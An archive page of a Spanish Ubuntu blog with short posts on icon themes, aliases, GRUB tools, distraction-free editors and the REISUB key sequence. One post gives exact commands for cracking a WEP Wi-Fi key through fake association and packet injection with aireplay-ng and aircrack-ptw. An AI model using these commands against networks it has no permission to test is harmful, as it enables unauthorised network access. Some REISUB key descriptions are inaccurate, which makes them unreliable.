Archivo | Otras Distribuciones Feed RSS para esta sección

Set de iconos Awoken


No conocía Awoken, pero leyendo Ubuntu Life resulta ser uno de los mejores sets de iconos que existen actualmente, de hecho, tiene hasta GUI para manejarlo, y múltiples opciones, para instalarlo añadimos su repositorio:

$ sudo add-apt-repository ppa:alecive/antigone

Actualizamos la lista de repositorios:

$ sudo apt-get update

E instalamos:

$ sudo apt-get install awoken-icon-theme

Para ejecutar la GUI que te permite configurarlo todo:

$ awoken-icon-theme-customization

Continúa leyendo...

Diferencia entre ejecutar un script usando intérprete o no


Me ha parecido interesante comentar esto, ya que es algo que todo el mundo no sabe, empecemos.

¿Qué es un Script?

Según Wikipedia, es un programa usualmente simple, que por lo regular se almacena en un archivo de texto plano. Los script son casi siempre interpretados, pero no todo programa interpretado es considerado un script. El uso habitual de los scripts es realizar diversas tareas como combinar componentes, interactuar con el sistema operativo o con el usuario. Por este uso es frecuente que los shells sean a la vez intérpretes de este tipo de programas.

Según yo, es un pequeño (normalmente) código de programación en lenguajes como bash, batch, perl… Los scripts son un conjunto de instrucciones generalmente almacenadas en un archivo de texto que deben ser interpretados línea a línea en tiempo real para su ejecución, se distinguen de los programas, pues deben ser convertidos a un archivo binario ejecutable para correrlos.

Ejecutarlo mediante un intérprete

¿Cómo se ejecuta mediante un intérprete?

Pongamonos en el caso de los scripts en bash, sería así:

$ sh script.sh

Si esta escrito en perl, sería así:

$ perl script.pl

Esto lo que hace es decirle al sistema, que utilice ese intérprete para interpretar (valga la redundancia) el script sin necesidad de permisos.

Ejecutarlo por si solo

Si ejecutas un script en bash en sí mismo, sería así:

$ ./script.sh

O en perl por ejemplo:

$ ./script.pl

Esto lo que hace es buscar la primera línea de código donde se indica cual es el intérprete, en bash es esta:

#!/bin/bash

A esto se le llama “bang line”. Se trata de la primera línea de un script, que debe comenzar con los caracteres #! y que debe especificar la ruta en la que se encuentra el intérprete. Además el archivo debe tener permisos de ejecución.

¿Y la diferencia es..?

Pues claramente la diferencia esta en que si lo ejecutas por si solo es completamente imprescindible que el script contenga una bang line al comienzo de este, sino dará error. En cambio si lo ejecutas especificando el intérprete, adiós problemas.

Conclusión

Como conclusión lo mejor es utilizar siempre un intérprete para ejecutar scripts, pero si lo ejecutas por si solo no tendrás problemas normalmente, pues todo el mundo que programa scripts conoce las bang line y las utiliza, por lo tanto, escoge la manera que te resulte más cómoda y satisfactoria.

Visto en | Usemos Linux

Continúa leyendo...

Lo nuevo en Ubuntu Server 11.04


Todo el mundo conoce lo nuevo en Ubuntu Desktop, pero.. ¿y en Ubuntu Server? ¿qué ha cambiado? Aquí un breve resumen:

Para empezar cobbler y mcollective se han incluido, lo que hará más fácil el aprovisionamiento de servidores. PowerNap 2.0 utiliza un nuevo método para reducir el consumo de energía, también ahora puede supervisar la actividad del usuario (consola, ratón, teclado), la actividad del sistema (carga, procesadores, proceso de IO), y la actividad de red (Wake-on-LAN, puertos UDP puertos tcp).

DHCP3 ha sido actualizado a isc-DHCP, como también Eucalyptus, actualizado a su versión 2.0.2, la cual es más eficiente y segura. También tenemos OpenStack para manejar la nube, como por ejemplo, para las imágenes… Así también Ubuntu Server está disponible para la UEC y EC2. cloud-init ha sido actualizada a su versión 0.60, en la cual tenemos soporte para la ampliación del sistema de archivos raíz, añade OVF y permite ajustar el host a arrancar.

Por si fuera poco en la nube de imágenes tendremos soporte para invitados LXC, y también se han incluido Cassandra 0.7.0, ZeroMQ, membase y XtraBackup que amplian las fronteras de este cada vez mejor Ubuntu Server.

Cómo instalar | Ubuntu Server Natty Narwhal 11.04
Fuente | Ubuntu Geek

Continúa leyendo...

Recopilación de aliases


Hace un par de días os mostré como crear vuestros propios comandos utilizando aliases, y se me ocurrió la idea de crear un artículo donde pondré algunos aliases de uso básico y vosotros, mediante los comentarios o mediante Twitter me enviareis vuestras sugerencias, nosotros actualizaremos la entrada con cada una de ellas. El funcionamiento es sencillo, simplemente debemos poner el comando que creeis que necesita un alias, o que simplemente podría tener un alias.

Mediante comentarios

Si quereis enviar vuestras sugerencias mediante los comentarios, simplemente debeis seguir la estructura de los aliases:

Comando: Comando a cambiar
Alias: alias tu_comando=”comando_a_ejecutar”
Uso: El uso dado

Donde pone “tu_comando” escribiremos nuestro nuevo comando, y donde pone “comando_a_ejecutar“, escribiremos el comando que sustituye, o mejor dicho, utiliza, ya que ese comando sigue activo, pero teniendo un “atajo”. En Uso pondremos cómo se usa ese nuevo alias.

Un ejemplo:

Comando: sudo apt-get install
Alias: alias instalar=”sudo apt-get install”
Uso: instalar paquete

Mediante Twitter

Si nos quereis enviar vuestras sugerencias mediante Twitter, el tweet no puede seguir la misma estructura ya que son 140 carácteres, por lo tanto sería esta:

alias tu_comando=”comando_a_ejecutar”

Donde pone “tu_comando” escribiremos nuestro nuevo comando, y donde pone “comando_a_ejecutar“, escribiremos el comando que sustituye, o mejor dicho, utiliza, ya que ese comando sigue activo, pero teniendo un “atajo”. Simplemente recordad que teneis que mencionarnos (@ubunteate) y el resto de datos del alias lo ponemos nosotros.

Un ejemplo de tweet:

@ubunteate alias actualizar="apt-get update"

Así de sencillo.

Recopilación de Aliases

A continuación la lista de aliases, para utilizarlos tan solo tienes que copiar el contenido de “Alias” y seguir el tutorial de aliases:

Comando: sudo apt-get install
Alias: alias instalar=”sudo apt-get install”
Uso: instalar paquete

Comando: sudo apt-get update
Alias: alias actualizarepo=”sudo apt-get update”
Uso: actualizarepo

Comando: sudo apt-get upgrade
Alias: alias actualizar=”sudo apt-get upgrade”
Uso: actualizar

Comando: cd
Alias: alias ir=”cd”
Uso: ir ruta

Comando: cd ..
Alias: alias atras=”cd ..”
Uso: atras

Comando: pwd
Alias: alias donde=”pwd”
Uso: donde

Comando: ps -aux
Alias: alias tareas=”ps -aux”
Uso: tareas

Comando: sudo chmod +x
Alias: alias permisos=”sudo chmod +x”
Uso: permisos archivo

Comando: clear
Alias: alias limpiar=”clear”
Uso: limpiar

Comando: sudo dpkg -i
Alias: alias instalardeb=”sudo dpkg -i”
Uso: instalardeb ruta-deb

Todos juntos

# Inicio de mis comandos
alias instalar=”sudo apt-get install”
alias actualizarepo=”sudo apt-get update”
alias actualizar=”sudo apt-get upgrade”
alias ir=”cd”
alias atras=”cd ..”
alias donde=”pwd”
alias tareas=”ps -aux”
alias permisos=”sudo chmod +x”
alias limpiar=”clear”
alias instalardeb=”sudo dpkg -i”
# Final de mis comandos

¿Qué nos falta? ¡Ayudanos!

Continúa leyendo...

Inyectar paquetes IPW2200 Wifislax 3.1



Hoy he decidido publicar los comandos exáctos que hay que poner en wifislax para realizar auditorias con la tarjeta; Intel Pro Wireless 2200.

Para ello, necesitamos seguir rigurosamente los siguientes pasos:

Descargar la ISO de Wifislax 3.1 – Enlace de descarga: http://depositfiles.com/files/35x8fdldn
(Es versión “LIVE” con opción a instalación una vez arrancado el sistema operativo)

Arrancamos desde CD con el disco de wifislax 3.1 dentro de la unidad lectora. Una vez cargado el sistema, procederemos a cargar el driver parcheado de nuestra tarjeta ipw2200. Abrimos una SHELL, copiamos y pegamos lo siguiente:

rmmod ipw2200
modprobe ipw2200 rtap_iface=1

Luego ponemos en modo monitor nuestra interface virtual “rtap0″, poniendo lo siguiente:

airodump-ng rtap0

Ahora al encontrar la red que buscabamos, presionamos CTRL + C, para parar el proceso de escaneado.

Seleccionamos la red que queremos, escribiendo en la misma SHELL:

airodump-ng -c (canal de la red wireless) -w (nombre del archivo donde se guardarán las Datas) rtap0

Toca asociarnos a la red, en otra SHELL escribiremos lo siguiente:

iwconfig
(Nos mostrará todas las interfaces, escojemos la nuestra, en mi caso: eth1
)

En mi caso tengo que escribir lo siguiente:

iwconfig eth1 essid (nombre de la red) key 11111111111

Esto es para asociarnos a la red creando una falsa autentificacion y una clave falsa.
Despues de estar asociarnos a la red, en la misma SHELL, tecleamos lo siguiente:

aireplay-ng -3 -x 1024 -g 1000000 -b (MAC DE LA RED ) -h ( TU MAC) -i rtap0 eth1

En algunos casos se demora más y en otros menos, esto también es equivalente a la hora de generar la clave WEP, mediante aircrack-ptw, ya que alguna vez he conseguido descifrar mi clave en apenas segundos, y en otros casos, horas…

Apartir de 20.000 datas, se dice que es una buena cifra para empezar a intentar generar la clave, para ello abrimos otra SHELL:

aircrack-ptw (nombre de archivo que pusiste para el archivo .cap)

Continúa leyendo...

Grubreco: Script para recuperar el Grub


Si usas Ubuntu y Windows, sabrás que al instalar Windows después de Ubuntu, el GRUB (esa cosita que nos da a elegir el sistema operativo) se destruye, deja de funcionar y tan solo podrás utilizar Windows, existen muchos métodos para solucionarlo, hoy os comento uno.

t384nh3 de MachGeek ha creado un script para facilitar un poco el proceso de reinstalar o recuperar windows, ya que hay usuarios que utilizan un dualboot. El método es sencillo, inicia desde un Live CD de Ubuntu, y desde allí debes descargarte el script y darle permisos de ejecución:

$ sudo chmod +x grubreco

Y tras esto ejecutarlo:

$ ./grubreco

Si todo sale bien te saldrá esto:

Operacion completada, al reiniciar no vera el grub, pero si iniciara Ubuntu, luego de esto ejecute en un terminal sudo update-grub y listo!

Que nos dice que todo ha ido correctamente y las últimas instrucciones para completar el proceso, reinicias (iniciará Ubuntu) y ejecutamos:

$ sudo update-grub

Reinicias y ahí tienes tu Grub.

Enlace | Grubeco

Continúa leyendo...

Grub Customizer


Grub Customizer es una interesante aplicación que te permite añadir o quitar entradas, o cambiar el orden de inicio. Incluso puedes poner un fondo para tu Grub. Para instalarlo:

Añadimos repositorios:

$ sudo add-apt-repository ppa:danielrichter2007/grub-customizer

Actualizamos la lista:

$ sudo apt-get update

E instalamos la aplicación:

$ sudo apt-get install grub-customizer

¡Así de sencillo también será editar tu GRUB!
Grub Customizer

Fuente | Geeks & Linux Atelier!

Actualización: También puede configurar BURG. (Gracias José Antonio)

Continúa leyendo...

Yahoo se une a la Linux Foundation


Por todos es sabido la gran mayoría de las grandes empresas utilizan Linux en sus oficinas, es el caso de Yahoo!, el cual se ha unido a la Linux Foundation según un comunicado de esta, en el que se explica que Yahoo! participará en grupos de trabajo para mejorar Linux, sobretodo en el campo del cloudcomputing y la virtualización. Por otra parte, le echará una mano en los temas legales, y participará en los eventos de la Linux Foundation.

Esta no es la única noticia del día, Igalia (la cual no conocía), una empresa de desarrollo de código abierto que ofrece servicios de consultoría para tecnologías de escritorio, móviles y web también se ha unido a la Linux Foundation. Al parecer los desarrolladores de Igalia contribuyen fuertemente en GNOME, WebKit, Meego, el kernel Linux, freedesktop.org, Gstreamer y Qt.

Gran noticia para el mundo Linux, aunque esto no va a significar que vayamos a mejorar enormemente en dos días, significa que tenemos un gran apoyo detrás, y que la productividad y la eficiencia se verán multiplicadas gracias a los desarrolladores de Yahoo! y de Igalia, además de facilitar las cosas con los temas legales. Por lo tanto, en mi opinión, esto permitirá un mejor crecimiento de Linux y del software libre, al mejorar la productividad y la eficiencia de las aplicaciones que lo componen.

Fuente | FayerWayer

Continúa leyendo...

PhotoFilmStrip: Creando vídeos de fotografías


Muchos amigos a los que le recomiendo Ubuntu, y que por cierto, siempre consigo pasar al software libre, acaban encantados con Ubuntu, con su filosofía, con sus cosas geeks, con su rápidez, seguridad y miles de cosas más, pero con el tiempo, alguno de ellos necesitan realizar vídeos de fotografías, muy típicos en bodas y otro tipo de actos de este estilo, y me preguntan por qué no existe una alternativa a Windows Movie Maker para Ubuntu, y siempre les he recomendado aplicaciones online que realizan esa tarea.

Hasta que descubrí PhotoFilmStrip hace algún tiempo, una aplicación de escritorio al estilo Windows Movie Maker de Microsoft, donde añades las imágenes, las transiciones, la música, el formato (VCD, SVCD, DVD y FULL-HD) y listo. Mis amigos quedaron encantados, pues es sencilla y rápida, y permite hacer jugosos vídeos emotivos para las bodas y otro tipo de eventos.

Ahora quiero que la disfruteis vosotros, gracias a que Ubuntips me recordó la existencia de PhotoFilmStrip, os comento la aplicación para que podais instalarla fácilmente en vuestro Ubuntu mediante un paquete debian para que podamos realizar cosas como esta:

Para instalarlo, vayan a la web oficial de PhotoFilmStrip, y en la sección de descargas, tienen la opción para descargar el paquete debian (Linux Debian), incluso si os gusta más que Windows Movie Maker podeis descargar la versión para Windows (XP, Vista o 7) o para otras versiones Linux no basadas en Debian podeis descargar el código fuente.

Continúa leyendo...

Oracle libera OpenOffice.org


openoffice

La imágen de arriba es clara y descriptiva, el logotipo de OpenOffice.org es así. Oracle ha anunciado que ya no le interesan la soluciones de ofimática convencionales, lo que significa que OpenOffice.org vuelve a pertenecer a la comunidad y ya no es de pago.

Oracle se lanzará al mundo de la ofimática en la nube, y OpenOffice.org vuelve a pertenecer a la comunidad, pero… ¿sigue teniendo una comunidad? Recordemos que la comunidad de OpenOffice.org tras la decisión de Oracle se marchó y fundó LibreOffice, que de momento va bastante bien para el poco tiempo que lleva en pie, ¿qué va a ocurrir? ¿OpenOffice.org se derrumbará y su continuidad será nula? ¿los desarrolladores de LibreOffice dejarán ese proyecto para volver a OpenOffice.org? ¿la comunidad se va a dividir en dos? ¿se uniran los dos proyectos en solo uno?

La verdad creo que OpenOffice.org ha terminado su ciclo, dudo que los desarrolladores de LibreOffice vuelvan de nuevo a OpenOffice.org, ahora tienen un nuevo proyecto y muy prometedor. Aunque ojalá se unan los dos proyectos en uno, y que saquen lo mejor de OpenOffice.org y de LibreOffice para mejorar el producto final.

Visto en | MuyLinux

Continúa leyendo...

Solucionando problemas con REISUB


Pocas veces ocurre, pero ocurre, Ubuntu se cuelga, si tienes una gráfica o un procesador de poca potencia, seguramente en alguna ocasión tras usar Compiz, ver vídeos, o tener varios programas abiertos el ordenador se haya colgado, y de todas esas veces, seguro que en alguna de ellas has tenido que pulsar el botón de reinicio de tu torre o desconectar el cable o el método bruto que utilices. Pues hoy os voy a enseñar un método para reiniciar Ubuntu sin dañarlo cuando esta colgado:

  1. Presiona conjuntamente la tecla Alt y la tecla Impr Paint PetSis (típica para capturar pantalla)
  2. Dejalas presionadas, y presiona la tecla R, esto lo que hace es poner el teclado en modo Raw (directo)
  3. Sin soltar Alt e Impr Paint PetSis y tras 2 o 3 segundos de espera, pulsa E, esto lo que hace es finalizar todos los procesos
  4. Sin soltar Alt e Impr Paint PetSis y tras 4 o 5 segundos de espera, pulsa I, esto lo que hace es matar todos los procesos
  5. Sin soltar Alt e Impr Paint PetSis y tras 4 o 5 segundos de espera, pulsa S, esto lo que hace es intentar guardar todos los datos no guardados y sincroniza el disco duro
  6. Sin soltar Alt e Impr Paint PetSis y tras 4 o 5 segundos de espera, pulsa U, esto lo que hace es desmontar todos los sistemas de ficheros
  7. Sin soltar Alt e Impr Paint PetSis y tras 4 o 5 segundos de espera, pulsa B, que reinicia el ordenador.

Lo que realmente hace esto es que al pulsar la tecla Alt y Impr Paint PetSis, todo lo que tecles son atajos para realizar acciones directas con el sistema, accionando el sistema implantado en el Kernel Linux PetSis.

Como bien puedes ver, en tan solo 30 segundos puedes tener tu problema solucionado, con los procesos finalizados, el disco duro salvado y todo correcto. Pero eso no es todo, quizás tengas problemas mayores o simplemente diferentes, por lo tanto existen otras combinaciones posibles con Alt + Impt Paint PetSis. Vamos a verlas todas (orden alfabético):

  • B; Reinicia el sistema.
  • C; Reinicia el kernel
  • E; Finaliza todos los procesos
  • F; Mata un proceso para aliviar un estado de saturación de memoria
  • H; Muestra ayuda en consola
  • I; Mata todos los procesos
  • K; Mata todos los procesos que se estén ejecutando en la consola virtual
  • M; Muestra a través de consola información del estado de la memoria
  • O; Apaga el ordenador
  • P; Muestra en consola los registros y flags
  • R; Pone el teclado en modo Raw (directo)
  • S; Intenta guardar todos los datos no guardados y sincroniza el disco duro
  • T; Muestra por consola una lista de tareas en ese momento e información sobre ellas
  • U; Desmonta y monta todos los sistemas de ficheros en modo lectura
  • V; Información sobre el proceso Voyager SMP

Esta artículo tan solo sirve para teclados QWERTY, pero también existe este método para teclados DVORAK y AZERTY, siendo otras letras las utilizadas.

Continúa leyendo...

Aplicaciones para escribir sin distracciones


Hoy quería presentaros una serie de aplicaciones que te pueden servir de muchísima ayuda a la hora de escribir, ya que evitaran cualquier tipo de distracción.

FocusWriter

FocusWriter

La más utilizada en el mundo linuxero, sin lugar a dudas es una excelente aplicación, aunque mantiene algunas opciones interesantes como soporte de texto enriquecido, guardar nuestros escritos o permitir configurar a nuestro gusto el entorno de trabajo (como añadir fondos) es maravilloso. Para instalarla añadiremos su repositorio:

$ sudo add-apt-repository ppa:gottcode/gcppa

Actualizaremos la lista de repositorios:

$ sudo apt-get update

E instalaremos la aplicación:

sudo apt-get install focuswriter

RubyRoom

RubyRoom

Más sencillo que FocusWriter pero no por ello peor, permite cambiar el color de fondo y texto, cambiar la fuente, y cambiar el modo de pantalla completa. Utiliza atajos de teclado desde la tecla F1 hasta la F12, siendo esta última la más curiosa, pues incluye un repertorio de citas o frases al azar para inspirarnos en nuestras creaciones. Simplemente hay que descargarlo.

PyRoom

 

 

PyRoom

Es una de las favoritas por los usuarios linuxeros y como su nombre indica, esta escrito en Python y GTK+, y es un clon de la famosa aplicación para Mac WriteRoom, pero libre y gratuito. Para instalarlo abriremos la lista de repositorios:

$ sudo gedit /etc/apt/sources.list

Y al final del texto añadiremos estas dos líneas:

deb http://ppa.launchpad.net/pyroom-dev/ppa/ubuntu jaunty main
deb-src http://ppa.launchpad.net/pyroom-dev/ppa/ubuntu jaunty main

Guardamos, cerramos y actualizamos la lista:

$ sudo apt-get update

Por último, instalamos la aplicación:

$ sudo aptitude install pyroom

Para ejecutarla utilizaremos este comando:

$ pyroom &

Recomiendo crear un lanzador para facilitar su uso, y por último, debes saber que si pulsas Ctrl + H saldrán varias combinaciones disponibles para facilitar el uso de la aplicación.

Marave

 

 

Marave

Esta inspirado en Ommwriter, otra aplicación de Mac, tampoco libre, tiene un buen diseño y es bastante ligero escrito en PyQt4, que toma algunas funcionalidades de Ommwriter, por ejemplo, el poder cambiar los fondos, estilos, temas de la aplicación, reproducir música mientras se escribe.

Claro que también tiene opciones que esperaríamos en un editor, como cambio de fuentes, búsqueda, reemplazo y corrección ortográfica. Para instalarlo, vamos aquí y descargamos la última versión. Tras esto, descomprimimos el archivo descargado y nos dirigimos con la consola hacia ese directorio:

$ cd (carpeta)

Antes de proseguir, vamos a instalar algunas dependencias:

$ sudo apt-get install python-qt4-phonon python-enchant

Y por último, instalamos la aplicación:

$ su -c python setup.py install

Textroom

textroom

Mi favorita, el color gris sobre fondo negro del texto otorga al usuario una interfaz muy sencilla y agradable. Los sonidos de máquina de escribir a la hora de pulsar las teclas pueden resultar nostálgicos al principio pero cuando llevas un rato escribiendo acaban por cansar un poco, fácil solución, se desactiva… Para instalar simplemente ve a la web de descargas oficial y descarga el archivo Debian, instalarlo será dos clicks.

Si todo esto te ha parecido poco…

Puedes utilizar editores de este estilo de forma online, te presento:

  • QuietWrite; Sencillo, rápido, ligero, sin registro…
  • DarkCopy; Más sencillo y rápido que el anterior, ni un click tras entrar en la página, y sin registro.
  • Writer; Me recuerda a la consola por los botones, es el más “feillo” y tiene las mismas características que los anteriores, pero con botones.
  • MyTextFile; Necesita loguearse con tu cuenta de Google, lo que es una clara desventaja, pero por lo demás esta bastante bien

Fuentes:

Además, si se me ha escapado alguna, por favor, no dudes en comentarla y la añadiré cuanto antes!

Continúa leyendo...